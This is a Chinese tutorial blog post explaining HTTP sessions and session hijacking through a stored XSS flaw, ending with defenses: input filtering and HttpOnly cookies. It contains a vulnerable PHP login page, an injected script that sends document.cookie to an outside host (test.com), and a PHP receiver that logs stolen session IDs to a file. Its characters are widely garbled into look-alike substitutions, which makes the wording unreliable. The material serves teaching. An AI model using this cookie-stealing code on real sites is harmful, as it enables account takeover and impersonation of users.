在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同窗看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码。今天咱们就介绍一种危害更大的XSS——session劫持。javascript
想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同窗知道,http是无状态的,也就是客户端向服务器请求完成后,会断开链接,下次同一个客户端再次访问服务器的时候,服务器会把它看成一个陌生的请求,不会知道它曾经来过,这里有它的印记。php
可是这样的交互是很是麻烦的,某个网站有不少theme,经过一套机制记在服务器中,用户访问的时候从数据库等地方读取配置,返回给客户端合适的themeHTML响应。由于http没有状态,下次用户再来的时候又读取一遍数据库配置,每一个用户都要重复这个过程,是否是很麻烦。这时候咱们但愿有一个全局的变量存储空间,用来存放一些全站点都须要的而且不会变来变去(即便变也没什么)的数据,这就是Application变量。Application变量是站点的全局变量,只要服务器不宕机,任何用户在任何页面在受权的状况下均可以访问,进行读写操做。这样一些theme、timezone等信息就能够在用户第一次访问的时候存放在Application内,再次访问或者其它用户访问的时候能够直接去读取,方便了不少。html
然而,有时候咱们但愿服务器为咱们每一个单独的web用户开辟一起私密空间,好比咱们确定不但愿用户访问一个页面就输一次用户名、密码,当用户第一次登陆成功后能够把登陆信息存放在服务器,下次来了直接比对就能够。可是明显你们不但愿本身的用户名和密码可以被全部的用户访问,因此服务器私密空间是须要的。java
but,因为http的无状态性即便服务器上有了每一个用户的私密空间,但下次用户访问的时候,服务器仍然不知道用户是张3、李四仍是王二麻子。这可怎么办,聪明的同窗确定想到了,让客户端的请求告诉服务器我是王二麻子就好了。这样服务器和客户端就能够对话了,不至于说了后句就忘了前句。web
问题在于客户端怎么告诉服务器我是谁。细心的同窗会注意到cookie是http协议的一部分,会在http请求和http响应中出现,而客户端和服务器有记忆的会话正是靠cookie实现的。拿登陆作例子,会话过程是这样的数据库
登陆json
1. 客户端发送登陆请求跨域
2. 服务器接收请求,验证登陆,成功后为此web用户开辟一个私密空间,存放登陆信息服务器
3. 服务器为这个私密空间编号,相似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7这样的一个键值对,不一样的语言生成的键名和值的规则不一样,可是都本着两个原则:第一,value必须惟一,毕竟一个站点可能同时有数百万甚至更多用户在访问,不能让两个用户的表示同样;第二:生成的value必须是不可推测的,不然别有用心用户就能够根据本身的表示信息推断出别人的,而后伪造别人登陆信息访问站点(这正是session劫持)。cookie
4. 服务器把这个键值对写入http响应中传给客户端
5. 客户端接收响应,关闭链接
登陆成功,用户访问其余页面
1. 客户端发送登陆请求(服务器写到cookie中的用户标识信息也被发送)
2. 服务器读取http请求中的cookie信息,根据标识信息查找对应私密空间,读取用户信息
3. 服务器生成特定响应,发送给客户端
4. 客户端接收响应,关闭链接
这个过程是否是很像是一个会话?这样第一次来了给个标签,下次凭此标签交流的机制就是session,固然session还包含其失效机制等。
服务器生成的用以标识客户信息的cookie通常被称为sessionId,而经过一些手段获取其它用户sessionId的攻击就叫session劫持。
说的这么恐怖,那么被别人知道了个人sessionId后会有什么危险呢?经过上面交互过程能够看出来服务器是靠sessionId识别客户端是张3、李四仍是王二麻子的,当其它用户获知了你的sessionId后,在其有效期内就能够凭此sessionId欺骗服务器,获取你的身份登陆使用网站。
仍是使用跨站脚本攻击XSS中留言板的XSS漏洞,添加一个登陆成功的首页,包含留言板页面连接,管理员有其它权限,登陆失败返回登陆页。
home.php
<!DOCTYPE html> <html> <head> <title>Home</title> <?php include('/components/headerinclude.php');?> </head> <body> <a href="list.php">Comments</a> <?php use \entity\authority as au; include 'entity\user.php'; if(isset($_POST['username'])){ $user=new au\User(); $user->username=$_POST['username']; $user->password=md5($_POST['password']); if($user->username=='Byron'){ $user->role='admin'; }else{ $user->role='normal'; } $_SESSION['user']=json_encode($user); } if(!isset($_SESSION['user'])){ echo '<script>'; echo 'window.location.href="index.php"'; echo '</script>'; }else{ $me=json_decode($_SESSION['user']); echo '<br/>Hello '.$me->username.'!<br/>'; if($me->role=='admin'){ echo "Your are an Administrator, you can do anything."; } } ?> </body> </html>
当咱们以管理员身份登陆后界面是这样的
当没有管理员权限的恶意用户登陆并访问留言板的时候,利用XSS漏洞注入这样代码
<script type="text/javascript" src="http://test.com/hack.js"></script>这条语句利用script的src跨域请求坏蛋本身的脚本
var c=document.cookie; var script =document.createElement('script'); script.src='http://test.com/index.php?c='+c; document.body.appendChild(script);
脚本中建立了一个script标签,利用jsonp连带这当前用户的cookie向'http://test.com/index.php发送了http请求
<?php if(!empty($_GET['c'])){ $cookie=$_GET['c']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/session.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$cookie\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
原来坏蛋经过XSS把sessionId记到了本身磁盘
这样若是在坏蛋利用XSS注入劫持sessionId的脚本后管理员登陆并访问留言板页面,坏蛋就会获得管理员的sessionId,在其有效期内坏蛋能够这么作
1. 利用本身账号登陆系统,等待管理员访问被攻击页面,获取其sessionId
好比我获得管理员sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37
2. 经过客户端修改sessionId
本身登陆界面
修改cookie
3. 刷新页面,骗过服务器,本身成了管理员
4. 不堪设想。。。
这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步
1. 过滤用户输入,防止XSS漏洞
2. 设置sessionId的cookie为HttpOnly,使客户端没法获取